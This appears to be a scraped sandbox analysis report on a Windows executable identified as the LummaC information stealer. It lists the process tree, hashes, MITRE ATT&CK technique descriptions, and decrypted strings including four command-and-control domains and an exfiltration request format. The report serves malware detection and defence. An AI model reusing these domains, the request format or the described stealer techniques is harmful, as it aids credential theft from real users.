2024-11-14 16:24:43 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	11:24:16
Start date:	14/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd20000
File size:	3'160'576 bytes
MD5 hash:	68060FEE433A31EA09A47EB9FC8BB755
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:24:43
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:24:44
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1704,i,9159070330741597358,3160430356254121710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:24:48
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:24:49
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1992,i,2836517617940349020,955072689301666391,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 0179D103 Relevance: .9, Instructions: 910COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2335411580.0000000001797000.00000004.00000020.00020000.00000000.sdmp, Offset: 01797000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1797000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a84a5f46a8450a28cc6f0eaf79246876c76efe71ffe7ea397c4dd58080a42e12
Instruction ID: 99bd488cb1cf1a996ba82466bd9c4905c0dd7dde2ace2bb51b45687050fbb2b4
Opcode Fuzzy Hash: a84a5f46a8450a28cc6f0eaf79246876c76efe71ffe7ea397c4dd58080a42e12
Instruction Fuzzy Hash: 5012499254E7C14FD7278BB4AC66281FF71AE2321475E86DFC1C48F0A3E24A550EC766

Function 0179D138 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2335411580.0000000001797000.00000004.00000020.00020000.00000000.sdmp, Offset: 01797000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1797000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7953a9f1cc7268dd8177046f7a82d1151fc668781bad4bef982b6ca01cd4c0b
Instruction ID: 88dabb21e792c44dcdcf4cb5a3bb42835e533a398daf9ff6dad4de605d33f2fc
Opcode Fuzzy Hash: c7953a9f1cc7268dd8177046f7a82d1151fc668781bad4bef982b6ca01cd4c0b
Instruction Fuzzy Hash: 09A1279244E7C14FD7278BB4A866681BF716E2311471E8ACFC1C48F1E3E25A490EC727

Source: 0.2.file.exe.d20000.0.unpack	String decryptor: faintbl0w.sbs
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: 300snails.sbs
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: 3xc1aimbl0w.sbs
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: thicktoys.sbs
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: - Screen Resoluton:
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: Workgroup: -
Source: 0.2.file.exe.d20000.0.unpack	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre